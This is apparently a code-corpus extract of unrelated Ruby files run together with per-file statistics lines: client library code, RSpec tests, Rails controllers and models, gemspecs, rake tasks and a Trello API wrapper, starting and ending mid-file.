result.correlation_request_id = http_response['x-ms-correlation-request-id'] unless http_response['x-ms-correlation-request-id'].nil? result.client_request_id = http_response['x-ms-client-request-id'] unless http_response['x-ms-client-request-id'].nil? # Deserialize Response if status_code == 200 begin parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content) result_mapper = Azure::ApiManagement::Mgmt::V2017_03_01::Models::EmailTemplateCollection.mapper() result.body = @client.deserialize(result_mapper, parsed_response) rescue Exception => e fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result) end end result end promise.execute end # # Lists a collection of properties defined within a service instance. # # @param resource_group_name [String] The name of the resource group. # @param service_name [String] The name of the API Management service. # @param top [Integer] Number of records to return. # @param skip [Integer] Number of records to skip. # @param custom_headers [Hash{String => String}] A hash of custom headers that # will be added to the HTTP request. # # @return [EmailTemplateCollection] which provide lazy access to pages of the # response. # def list_by_service_as_lazy(resource_group_name, service_name, top:nil, skip:nil, custom_headers:nil) response = list_by_service_async(resource_group_name, service_name, top:top, skip:skip, custom_headers:custom_headers).value! unless response.nil? page = response.body page.next_method = Proc.new do |next_page_link| list_by_service_next_async(next_page_link, custom_headers:custom_headers) end page end end end end
53.017719
233
0.7247
ac0e829882497f931bf74ade5bee013ed3d9ffee
10,998
require 'spec_helper' describe Arango::Edge do before :all do @server = connect begin @server.drop_database(name: "EdgeDatabase") rescue end @database = @server.create_database(name: "EdgeDatabase") end before :each do begin @database.drop_collection(name: "DocumentCollection") rescue end begin @database.drop_collection(name: "EdgeCollection") rescue end @collection = @database.create_collection(name: "DocumentCollection") @edge_collection = @database.create_edge_collection(name: "EdgeCollection") @doc_a = @collection.create_document(attributes: {a: 'a', name: 'a'}) @doc_b = @collection.create_document(attributes: {b: 'b', name: 'b'}) end after :each do begin @database.drop_collection(name: "DocumentCollection") rescue end begin @database.drop_collection(name: "EdgeCollection") rescue end end after :all do @server.drop_database(name: "EdgeDatabase") end context "EdgeCollection" do it "new_edge" do edge = @edge_collection.new_edge(from: @doc_a, to: @doc_b) expect(edge.from).to eq @doc_a expect(edge.from_id).to eq @doc_a.id expect(edge.to).to eq @doc_b expect(edge.to_id).to eq @doc_b.id end it "create_edge" do edge = @edge_collection.create_edge(from: @doc_a, to: @doc_b) expect(edge.attributes[:_from]).to eq @doc_a.id end it "new_edge.create" do edge = @edge_collection.new_edge(from: @doc_a.id, to: @doc_b.id) edge.create expect(edge.from_id).to eq @doc_a.id end it "create_edge with key" do edge = @edge_collection.create_edge(attributes: { key: "myKey1", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) expect(edge.edge_collection.name).to eq "EdgeCollection" edge = @edge_collection.create_edge(key: "myKey2", attributes: { test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) expect(edge.edge_collection.name).to eq "EdgeCollection" end it "create_edges" do edges = @edge_collection.create_edges([{ test1: 'value', test2: 100, from: @doc_a.id, to: @doc_b.id }, { test3: 'value', test4: 100, from: @doc_b.id, to: @doc_a.id }]) expect(edges.size).to eq(2) expect(@edge_collection.edge_exists?(key: edges.first.key)).to be true expect(@edge_collection.edge_exists?(key: edges.last.key)).to be true expect(edges.first.edge_collection.name).to eq "EdgeCollection" end it "create_edges by key" do edges = @edge_collection.create_edges([{ key: 'key1', from: @doc_a.id, to: @doc_b.id }, { key: 'key2', from: @doc_b.id, to: @doc_a.id }]) expect(edges.size).to eq(2) expect(@edge_collection.edge_exists?(key: edges.first.key)).to be true expect(@edge_collection.edge_exists?(key: edges.last.key)).to be true expect(edges.first.edge_collection.name).to eq "EdgeCollection" end it "all_edges" do @edge_collection.create_edge(attributes: { key: "myKey1", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(key: "myKey2", attributes: { test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edges = @edge_collection.all_edges expect(edges.size).to eq 2 end it "all_edges with limits" do @edge_collection.create_edge(attributes: { key: "myKey1", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(key: "myKey2", attributes: { test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edges = @edge_collection.all_edges(limit: 1, offset: 1) expect(edges.size).to eq 1 end it "list_edges" do @edge_collection.create_edge(attributes: { key: "myKey1", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(key: "myKey2", attributes: { test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edges = @edge_collection.list_edges expect(edges.size).to eq 2 end it "list_edges with limits" do @edge_collection.create_edge(attributes: { key: "myKey1", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(key: "myKey2", attributes: { test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edges = @edge_collection.list_edges(limit: 1, offset: 1) expect(edges.size).to eq 1 end it "all_edges" do @edge_collection.create_edge(attributes: { key: "myKey1", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(key: "myKey2", attributes: { test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edges = @edge_collection.all_edges expect(edges.size).to eq 2 end it "all_edges with limits" do @edge_collection.create_edge(attributes: { key: "myKey1", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(key: "myKey2", attributes: { test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edges = @edge_collection.all_edges(limit: 1, offset: 1) expect(edges.size).to eq 1 end it "get_edge" do @edge_collection.create_edge(attributes: { key: "superb", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edge = @edge_collection.get_edge(key: 'superb') expect(edge.test1).to eq 'value' end it "get_edge by example" do @edge_collection.create_edge(attributes: { key: "superb", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edge = @edge_collection.get_edge(attributes: { test2: 100}) expect(edge.test1).to eq 'value' end it "get_edges" do @edge_collection.create_edge(attributes: { key: "1234567890", test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(key: "1234567891", attributes: { test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) edges = @edge_collection.get_edges(['1234567890', '1234567891']) expect(edges.size).to eq 2 end it "get_edges by example" do @edge_collection.create_edge(attributes: { key: '1234567890', test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(attributes: { key: '1234567891', test1: 'value', test2: 200}, from: @doc_a.id, to: @doc_b.id) edges = @edge_collection.get_edges([{test2: 100}, {test2: 200}]) expect(edges.size).to eq 2 end it "drop_edge" do edge = @edge_collection.create_edge(attributes: { key: '1234567890', test1: 'value', test2: 100}, from: @doc_a.id, to: @doc_b.id) expect(@edge_collection.list_edges).to include(edge.key) @edge_collection.drop_edge(key: edge.key) expect(@edge_collection.list_edges).not_to include(edge.key) end it "drop_edges" do @edge_collection.create_edge(key: '1234567890', attributes: { test1: 'value', test2: 100 }, from: @doc_a.id, to: @doc_b.id) @edge_collection.create_edge(attributes: { key: '1234567891', test1: 'value', test2: 100 }, from: @doc_a.id, to: @doc_b.id) @edge_collection.drop_edges(['1234567890', '1234567891']) expect(@edge_collection.size).to eq 0 end it "document_exists?" do expect(@edge_collection.edge_exists?(key: 'whuahaha')).to be false @edge_collection.create_edge(key: 'whuahaha', from: @doc_a.id, to: @doc_b.id) expect(@edge_collection.edge_exists?(key: 'whuahaha')).to be true end end context "Arango::Edge itself" do it "create a new Edge instance " do edge = Arango::Edge::Base.new key: "myKey", from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection expect(edge.edge_collection.name).to eq "EdgeCollection" end it "create a new Edge in the EdgeCollection" do edge = Arango::Edge::Base.new(attributes: {Hello: "World", num: 1}, from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection).create expect(edge.Hello).to eq "World" end it "create a duplicate Edge" do error = "" begin Arango::Edge::Base.new(key: 'mykey', from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection).create Arango::Edge::Base.new(key: 'mykey', from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection).create rescue Arango::ErrorDB => e error = e.error_num end expect(error).to eq 1210 end it "delete a Edge" do edge = Arango::Edge::Base.new(key: 'mykey', from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection).create result = edge.destroy expect(result).to eq nil expect(Arango::Edge::Base.exists?(key: 'mykey', edge_collection: @edge_collection)).to be false end it "update" do edge = Arango::Edge::Base.new(key: 'mykey', from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection).create edge.time = 13 edge.update expect(edge.time).to eq 13 edge = Arango::Edge::Base.get(key: 'mykey', edge_collection: @edge_collection) expect(edge.time).to eq 13 end it "replace" do edge = Arango::Edge::Base.new(attributes: {key: 'mykey', test: 1}, from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection).create edge.attributes = {value: 3} edge.replace expect(edge.value).to eq 3 expect(edge.attribute_test).to be_nil end it "retrieve Edge" do edge = Arango::Edge::Base.new(attributes: {key: 'mykey', test: 1}, from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection).create edge.test = 2 edge.retrieve expect(edge.test).to eq 1 end it "same_revision?" do edge = Arango::Edge::Base.new(key: 'mykey', from: @doc_a.id, to: @doc_b.id, edge_collection: @edge_collection).create edge_two = Arango::Edge::Base.get(key: 'mykey', edge_collection: @edge_collection) expect(edge.same_revision?).to be true expect(edge_two.same_revision?).to be true edge.time = 13 edge.update expect(edge.same_revision?).to be true expect(edge_two.same_revision?).to be false end # it "retrieve Edge" do # my_document = @my_edge.retrieve # expect(my_document.collection.name).to eq "MyEdgeCollection" # end # # it "replace" do # a = @collection.vertex(body: {Hello: "World"}).create # b = @collection.vertex(body: {Hello: "World!!"}).create # my_document = @my_edge.replace body: {_from: a.id, _to: b.id} # expect(my_document.body[:_from]).to eq a.id # end # # it "update" do # cc = @collection.vertex(body: {Hello: "World!!!"}).create # my_document = @my_edge.update body: {_to: cc.id} # expect(my_document.body[:_to]).to eq cc.id # end # # it "delete a Edge" do # result = @my_edge.destroy # expect(result).to eq true # end end end
41.501887
147
0.647027
4a487435022af80b91ba5b9900988e7f7a088b22
1,066
module Warden module OAuth # # Contains methods from Rails to avoid unnecessary dependencies # module Utils # # Fetched from ActiveSupport::Inflector.camelize to avoid dependencies # def camelize(lower_case_and_underscored_word, first_letter_in_uppercase = true) if first_letter_in_uppercase lower_case_and_underscored_word.to_s.gsub(/\/(.?)/) { "::#{$1.upcase}" }.gsub(/(?:^|_)(.)/) { $1.upcase } else lower_case_and_underscored_word.first.downcase + camelize(lower_case_and_underscored_word)[1..-1] end end # # Fetched from ActionController::Request to avoid dependencies # def host_with_port(request) url = request.scheme + "://" url << request.host if request.scheme == "https" && request.port != 443 || request.scheme == "http" && request.port != 80 url << ":#{request.port}" end url end module_function :camelize, :host_with_port end end end
26
115
0.599437
f841deed9470e3c5f9f57add67e1d8915148b153
1,612
class BoardsController < ApplicationController before_action :set_target_board, only: %i[show edit update destroy] def index @boards = params[:tag_id].present? ? Tag.find(params[:tag_id]).boards : Board.all @boards = @boards.page(params[:page]) end def new if @current_user @board = Board.new(flash[:board]) @board[:user_id] = @current_user[:id] else redirect_to root_path end end def create board = Board.new(board_params) if board.save flash[:notice] = "「#{board.title}」の掲示板を作成しました" redirect_to board else redirect_to new_board_path, flash: { board: board, error_messages: board.errors.full_messages } end end def show @comment = Comment.new(board_id: @board.id) if @current_user @comment.user_id = @current_user.id end end def edit if @current_user unless @board && @board.user_id == @current_user.id redirect_to boards_path end else redirect_to root_path end end def update if @board.update(board_params) flash[:notice] = "「#{@board.title}」の掲示板を編集しました" redirect_to @board else redirect_to :back, flash: { board: @board, error_messages: @board.errors.full_messages } end end def destroy @board.destroy redirect_to boards_path, flash: {notice: "「#{@board.title}」の掲示板が削除されました"} end private def board_params params.require(:board).permit(:user_id, :title, :body, tag_ids: []) end def set_target_board @board = Board.find(params[:id]) end end
21.493333
85
0.639578
ac8d36890b72c199dce172aff5aad96f50b380f1
1,622
lib = File.expand_path("../lib", __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require "abstract_bundle/version" Gem::Specification.new do |spec| spec.name = "abstract_bundle" spec.version = AbstractBundle::VERSION spec.authors = ["Douglas Rossignolli"] spec.email = ["[email protected]"] spec.summary = %q{Small lib to incluse interfaces on your ruby} spec.description = %q{Abstract Bundle is a simple lib to help you to implement some interfaces (contracts) in your ruby classes} spec.homepage = "https://github.com/xdougx/abstract_bundle" spec.license = "MIT" # Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host' # to allow pushing to a single host or delete this section to allow pushing to any host. if spec.respond_to?(:metadata) spec.metadata["allowed_push_host"] = "TODO: Set to 'http://mygemserver.com'" else raise "RubyGems 2.0 or newer is required to protect against " \ "public gem pushes." end spec.files = `git ls-files -z`.split("\x0").reject do |f| f.match(%r{^(test|spec|features)/}) end spec.bindir = "exe" spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ["lib"] spec.add_development_dependency "bundler", "~> 1.16.a" spec.add_development_dependency "rake", ">= 12.3.3" spec.add_runtime_dependency "redis" spec.add_runtime_dependency "activesupport" spec.add_runtime_dependency "active_model_serializers" spec.add_runtime_dependency "bcrypt" end
37.72093
132
0.695438
086cb779020f8c9809806579f6a64a09fd377419
1,438
# coding: utf-8 lib = File.expand_path('../lib', __FILE__) $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) require 'rbac/version' Gem::Specification.new do |spec| spec.name = "rbac" spec.version = Rbac::VERSION spec.authors = ["Sandip Karanjekar"] spec.email = ["[email protected]"] spec.summary = %q{User interface based role base access control(RBAC) system} spec.description = %q{This gem help you to enable your application with RBAC. This have user interface where you can check which permission assign to role.} spec.homepage = "https://github.com/sandipkaranjekar/rbac" spec.license = "MIT" # Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host' # to allow pushing to a single host or delete this section to allow pushing to any host. if spec.respond_to?(:metadata) spec.metadata['allowed_push_host'] = "TODO: Set to 'http://mygemserver.com'" else raise "RubyGems 2.0 or newer is required to protect against public gem pushes." end spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) } spec.bindir = "exe" spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) } spec.require_paths = ["lib"] spec.add_development_dependency "bundler", ">= 2.2.10" spec.add_development_dependency "rake", "~> 12.3.3" end
43.575758
160
0.680807
ff009b387ef111ad860d125a5eeedcbf30b6b479
1,742
require File.join( File.dirname(__FILE__), 'test_helper' ) require 'globalize/load_path' class LoadPathTest < ActiveSupport::TestCase def setup @plugin_dir = "#{File.dirname(__FILE__)}/.." @locale_dir = "#{File.dirname(__FILE__)}/data/locale" @load_path = Globalize::LoadPath.new end test "returns glob patterns for all locales and ruby + yaml files by default" do patterns = %w(locales/all.rb locales/*.rb locales/*/**/*.rb locales/all.yml locales/*.yml locales/*/**/*.yml) assert_equal patterns, @load_path.send(:patterns, 'locales') end test "returns the glob patterns for registered locales and extensions" do @load_path.locales = [:en, :de] @load_path.extensions = [:sql] patterns = %w(locales/all.sql locales/en.sql locales/en/**/*.sql locales/de.sql locales/de/**/*.sql) assert_equal patterns, @load_path.send(:patterns, 'locales') end test "expands paths using yml as a default file extension" do @load_path << @locale_dir expected = %w(all.yml de-DE.yml en-US.yml en-US/module.yml fi-FI/module.yml root.yml) assert_equal expected, @load_path.map{|path| path.sub("#{@locale_dir}\/", '')} end test "appends new paths to the collection so earlier collected paths preceed later collected ones" do @load_path.locales = [:root] @load_path << "#{@plugin_dir}/lib/locale" @load_path << @locale_dir expected = %W(#{@plugin_dir}/lib/locale/root.yml #{@locale_dir}/all.yml #{@locale_dir}/root.yml) assert_equal expected, @load_path end end
34.84
103
0.61194
01b25583685103cbdbe1e20ea3059287418a251b
1,051
require_relative 'spec_helper' describe 'openstack-network::server' do ALL_RHEL.each do |p| context "redhat #{p[:version]}" do let(:runner) { ChefSpec::SoloRunner.new(p) } let(:node) { runner.node } cached(:chef_run) do node.override['openstack']['compute']['network']['service_type'] = 'neutron' node.override['openstack']['network']['plugins']['ml2']['path'] = '/etc/neutron/plugins/ml2' node.override['openstack']['network']['plugins']['ml2']['filename'] = 'openvswitch_agent.ini' runner.converge(described_recipe) end include_context 'neutron-stubs' it do expect(chef_run).to upgrade_package %w(ebtables iproute openstack-neutron openstack-neutron-ml2) end it do expect(chef_run).to enable_service 'neutron-server' end it 'does not upgrade openvswitch package' do expect(chef_run).not_to upgrade_package 'openvswitch' expect(chef_run).not_to enable_service 'neutron-openvswitch-agent' end end end end
33.903226
104
0.659372
bb5956aa6de5b14aa3ea6de5a27b1f18ff52ba24
346
class CreateStashEngineManuscripts < ActiveRecord::Migration[5.2] def change create_table :stash_engine_manuscripts do |t| t.belongs_to :journal t.belongs_to :identifier, optional: true t.string :manuscript_number t.string :status t.text :metadata, limit: 16.megabytes - 1 t.timestamps end end end
26.615385
65
0.699422
91064322f43654c9b6596620fe610e04775a7346
471
FactoryGirl.define do factory :registry_metadata do digital_signature { { key_location: ['http://example.org/pubkey'] } } terms_of_service do { submission_tos: 'http://example.org/tos' } end identity do { submitter: 'john doe <[email protected]>', signer: 'Alpha Node <[email protected]>', submitter_type: 'user' } end payload_placement 'inline' initialize_with { new(attributes) } end end
26.166667
73
0.641189
d511eae7a3fe8a134086798d46c50d5a5980c406
5,369
class Milestone < ActiveRecord::Base # Represents a "No Milestone" state used for filtering Issues and Merge # Requests that have no milestone assigned. MilestoneStruct = Struct.new(:title, :name, :id) None = MilestoneStruct.new('无里程碑', 'No Milestone', 0) Any = MilestoneStruct.new('任何里程碑', '', -1) Upcoming = MilestoneStruct.new('即将到来', '#upcoming', -2) include InternalId include Sortable include Referable include StripAttribute include Milestoneish belongs_to :project has_many :issues has_many :labels, -> { distinct.reorder('labels.title') }, through: :issues has_many :merge_requests has_many :participants, -> { distinct.reorder('users.name') }, through: :issues, source: :assignee has_many :events, as: :target, dependent: :destroy scope :active, -> { with_state(:active) } scope :closed, -> { with_state(:closed) } scope :of_projects, ->(ids) { where(project_id: ids) } validates :title, presence: true, uniqueness: { scope: :project_id } validates :project, presence: true strip_attributes :title state_machine :state, initial: :active do event :close do transition active: :closed end event :activate do transition closed: :active end state :closed state :active end alias_attribute :name, :title class << self # Searches for milestones matching the given query. # # This method uses ILIKE on PostgreSQL and LIKE on MySQL. # # query - The search query as a String # # Returns an ActiveRecord::Relation. def search(query) t = arel_table pattern = "%#{query}%" where(t[:title].matches(pattern).or(t[:description].matches(pattern))) end end def self.reference_prefix '%' end def self.reference_pattern # NOTE: The iid pattern only matches when all characters on the expression # are digits, so it will match %2 but not %2.1 because that's probably a # milestone name and we want it to be matched as such. @reference_pattern ||= %r{ (#{Project.reference_pattern})? #{Regexp.escape(reference_prefix)} (?: (?<milestone_iid> \d+(?!\S\w)\b # Integer-based milestone iid, or ) | (?<milestone_name> [^"\s]+\b | # String-based single-word milestone title, or "[^"]+" # String-based multi-word milestone surrounded in quotes ) ) }x end def self.link_reference_pattern @link_reference_pattern ||= super("milestones", /(?<milestone>\d+)/) end def self.upcoming_ids_by_projects(projects) rel = unscoped.of_projects(projects).active.where('due_date > ?', Time.now) if Gitlab::Database.postgresql? rel.order(:project_id, :due_date).select('DISTINCT ON (project_id) id') else rel. group(:project_id). having('due_date = MIN(due_date)'). pluck(:id, :project_id, :due_date). map(&:first) end end ## # Returns the String necessary to reference this Milestone in Markdown # # format - Symbol format to use (default: :iid, optional: :name) # # Examples: # # Milestone.first.to_reference # => "%1" # Milestone.first.to_reference(format: :name) # => "%\"goal\"" # Milestone.first.to_reference(project) # => "gitlab-org/gitlab-ce%1" # def to_reference(from_project = nil, format: :iid) format_reference = milestone_format_reference(format) reference = "#{self.class.reference_prefix}#{format_reference}" if cross_project_reference?(from_project) project.to_reference + reference else reference end end def reference_link_text(from_project = nil) self.title end def expired? if due_date due_date.past? else false end end def expires_at if due_date if due_date.past? "过期时间 #{due_date.to_s(:medium)}" else "过期时间 #{due_date.to_s(:medium)}" end end end def can_be_closed? active? && issues.opened.count.zero? end def is_empty?(user = nil) total_items_count(user).zero? end def author_id nil end def title=(value) write_attribute(:title, Sanitize.clean(value.to_s)) if value.present? end # Sorts the issues for the given IDs. # # This method runs a single SQL query using a CASE statement to update the # position of all issues in the current milestone (scoped to the list of IDs). # # Given the ids [10, 20, 30] this method produces a SQL query something like # the following: # # UPDATE issues # SET position = CASE # WHEN id = 10 THEN 1 # WHEN id = 20 THEN 2 # WHEN id = 30 THEN 3 # ELSE position # END # WHERE id IN (10, 20, 30); # # This method expects that the IDs given in `ids` are already Fixnums. def sort_issues(ids) pairs = [] ids.each_with_index do |id, index| pairs << id pairs << index + 1 end conditions = 'WHEN id = ? THEN ? ' * ids.length issues.where(id: ids). update_all(["position = CASE #{conditions} ELSE position END", *pairs]) end private def milestone_format_reference(format = :iid) raise ArgumentError, 'Unknown format' unless [:iid, :name].include?(format) if format == :name && !name.include?('"') %("#{name}") else iid end end end
25.8125
100
0.638294
d527a290b68d77b7841f0fc04623a20d01cd25da
45
module LicenseFinder VERSION = "2.1.2" end
11.25
20
0.711111
917aca3a064d3c63c9d42529898d0e43b4035e75
1,234
class ActionEvent::Message cattr_accessor :default_queue, :instance_writer => false @@default_queue = :medium def self.deliver(queue_name, event, params = {}) with_queue(queue_name) { |queue| queue.publish(Marshal.dump({:event => event, :params => params})) } end def self.try_to_get_next_message(*queues) queues.flatten.each do |queue_name| if message = with_queue(queue_name) { |queue| m = queue.pop; m ? Marshal.load(m) : nil } return { :queue_name => queue_name, :event => message[:event], :params => message[:params] } end end return nil end def self.queue_status(*queues) queues.flatten.inject({}) do |hash, queue_name| hash[queue_name] = with_queue(queue_name) { |queue| queue.status } hash end end protected def self.with_queue(queue_name, &block) queue_name = queue_name.to_s @config ||= YAML.load(File.read(File.join(RAILS_ROOT, 'config', 'rabbitmq.yml')))[RAILS_ENV] @queues ||= {} yield @queues[queue_name] ||= Carrot.new(:host => @config['rabbitmq_server']).queue("#{@config['application_name']}-#{queue_name}") rescue => e @queues[queue_name] = nil puts e RAILS_DEFAULT_LOGGER.error "ERROR: #{e}" end end
30.85
135
0.662885
e9260bfc9f21ca45101820bde928ce44c371ae69
684
namespace :db do task import_executive_board: :environment do if File.exist?(Rails.root.join('lib/assets/executive_seeds.csv')) User.import(File.open(Rails.root.join('lib/assets/executive_seeds.csv')), %w(admin executive_board)) else puts 'Executive Board file does not exist!' end end task import_at_large_board: :environment do if File.exist?(Rails.root.join('lib/assets/at_large_seeds.csv')) User.import(File.open(Rails.root.join('lib/assets/at_large_seeds.csv')), ['at_large_board']) else puts 'At Large Board file does not exist!' end end task import_boards: ['db:import_executive_board', 'db:import_at_large_board'] end
38
106
0.722222
e8700f3977964806fda4f09a65fc8d5daba998ec
3,779
module Trello # A Custom Field can be activated on a board. Values are stored at the card level. # # @!attribute id # @return [String] # @!attribute model_id # @return [String] # @!attribute model_type # @return [String] # @!attribute field_group # @return [String] # @!attribute name # @return [String] # @!attribute pos # @return [Float] # @!attribute type # @return [String] # @!attribute options # @return [Array<Hash>] class CustomField < BasicData register_attributes :id, :model_id, :model_type, :field_group, :name, :pos, :type validates_presence_of :id, :model_id, :model_type, :name, :type, :pos SYMBOL_TO_STRING = { id: 'id', name: 'name', model_id: 'idModel', model_type: 'modelType', field_group: 'fieldGroup', type: 'type', pos: 'pos' } class << self # Find a custom field by its id. def find(id, params = {}) client.find('customFields', id, params) end # Create a new custom field and save it on Trello. def create(options) client.create('customFields', 'name' => options[:name], 'idModel' => options[:model_id], 'modelType' => options[:model_type], 'fieldGroup' => options[:field_group], 'type' => options[:type], 'pos' => options[:pos] ) end end # References Board where this custom field is located # Currently, model_type will always be "board" at the customFields endpoint one :board, path: :boards, using: :model_id # If type == 'list' many :custom_field_options, path: 'options' def update_fields(fields) attributes[:id] = fields[SYMBOL_TO_STRING[:id]] || fields[:id] || attributes[:id] attributes[:name] = fields[SYMBOL_TO_STRING[:name]] || fields[:name] || attributes[:name] attributes[:model_id] = fields[SYMBOL_TO_STRING[:model_id]] || fields[:model_id] || attributes[:model_id] attributes[:model_type] = fields[SYMBOL_TO_STRING[:model_type]] || fields[:model_type] || attributes[:model_type] attributes[:field_group] = fields[SYMBOL_TO_STRING[:field_group]] || fields[:field_group] || attributes[:field_group] attributes[:type] = fields[SYMBOL_TO_STRING[:type]] || fields[:type] || attributes[:type] attributes[:pos] = fields[SYMBOL_TO_STRING[:pos]] || fields[:pos] || attributes[:pos] self end # Saves a record. def save # If we have an id, just update our fields. return update! if id from_response client.post("/customFields", { name: name, idModel: model_id, modelType: model_type, type: type, pos: pos, fieldGroup: field_group }) end # Update an existing custom field. def update! @previously_changed = changes # extract only new values to build payload payload = Hash[changes.map { |key, values| [SYMBOL_TO_STRING[key.to_sym].to_sym, values[1]] }] @changed_attributes.clear client.put("/customFields/#{id}", payload) end # Delete this custom field # Also deletes all associated values across all cards def delete client.delete("/customFields/#{id}") end # If type == 'list', create a new option and add to this Custom Field def create_new_option(value) payload = { value: value } client.post("/customFields/#{id}/options", payload) end # Will also clear it from individual cards that have this option selected def delete_option(option_id) client.delete("/customFields/#{id}/options/#{option_id}") end end end
33.149123
123
0.607833
f8d078f03924911c88dae61bdc0747d721f57581
1,553
require 'bundler/setup' require 'simplecov' require 'coveralls' formatters = [SimpleCov::Formatter::HTMLFormatter] if ENV["TRAVIS"] formatters << Coveralls::SimpleCov::Formatter end SimpleCov.formatter = SimpleCov::Formatter::MultiFormatter[*formatters] SimpleCov.start do add_filter "/spec/" end require 'pry' unless ENV["TRAVIS"] require 'vcr' require 'sermonaudio' def env(environment = {}, &blk) old = ->(key) { "__old_#{key}" } environment.each_pair do |key, value| ENV[old.(key)] = ENV[key] if ENV[key] ENV[key] = value end yield ensure environment.each_pair do |key, value| if ENV[old.(key)] ENV.delete key ENV[key] = ENV[old.(key)] ENV.delete old.(key) else ENV.delete key end end end VCR.configure do |c| c.cassette_library_dir = 'spec/cassettes' c.hook_into :webmock # or :fakeweb c.configure_rspec_metadata! c.filter_sensitive_data('<SA_PASSWORD>') { ENV["SERMONAUDIO_PASSWORD"] } c.filter_sensitive_data('<SA_API_KEY>') { ENV["SERMONAUDIO_API_KEY"] } end RSpec.configure do |config| # some (optional) config here config.mock_with :rspec do |mocks| # This option should be set when all dependencies are being loaded # before a spec run, as is the case in a typical spec helper. It will # cause any verifying double instantiation for a class that does not # exist to raise, protecting against incorrectly spelt names. mocks.verify_doubled_constant_names = true end config.disable_monkey_patching! config.mock_framework = :rspec end
24.650794
74
0.710238
79f47f405c9ac536993bc24c03c9d4f278c9adb4
7,013
# Phusion Passenger - https://www.phusionpassenger.com/ # Copyright (c) 2013-2017 Phusion Holding B.V. # # "Passenger", "Phusion Passenger" and "Union Station" are registered # trademarks of Phusion Holding B.V. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. PhusionPassenger.require_passenger_lib 'constants' module PhusionPassenger # Core of the `passenger-config` command. Dispatches a subcommand to a specific class. module Config KNOWN_COMMANDS = [ ["detach-process", "DetachProcessCommand"], ["restart-app", "RestartAppCommand"], ["list-instances", "ListInstancesCommand"], ["reopen-logs", "ReopenLogsCommand"], ["api-call", "ApiCallCommand"], ["validate-install", "ValidateInstallCommand"], ["build-native-support", "BuildNativeSupportCommand"], ["install-agent", "InstallAgentCommand"], ["install-standalone-runtime", "InstallStandaloneRuntimeCommand"], ["download-agent", "DownloadAgentCommand"], ["download-nginx-engine", "DownloadNginxEngineCommand"], ["compile-agent", "CompileAgentCommand"], ["compile-nginx-engine", "CompileNginxEngineCommand"], ["system-metrics", "SystemMetricsCommand"], ["system-properties", "SystemPropertiesCommand"], ["about", "AboutCommand"] ] ABOUT_OPTIONS = [ "root", "includedir", "nginx-addon-dir", "nginx-libs", "nginx-dynamic-libs", "nginx-dynamic-compiled", "compiled", "custom-packaged", "installed-from-release-package", "make-locations-ini", "detect-apache2", "ruby-command", "ruby-libdir", "rubyext-compat-id", "cxx-compat-id", "version" ] def self.run!(argv) command_class, new_argv = lookup_command_class_by_argv(argv) if help_requested?(argv) help elsif help_all_requested?(argv) help(true) elsif command_class command = command_class.new(new_argv) command.run else help abort end end def self.help(all = false) puts "Usage: passenger-config <COMMAND> [OPTIONS...]" puts puts " Tool for managing, controlling and configuring a #{PROGRAM_NAME} instance" puts " or installation." puts puts "Management commands:" puts " detach-process Detach an application process from the process pool" puts " restart-app Restart an application" puts " reopen-logs Instruct #{PROGRAM_NAME} agents to reopen their log" puts " files" puts " api-call Makes an API call to a #{PROGRAM_NAME} agent." puts puts "Informational commands:" puts " list-instances List running 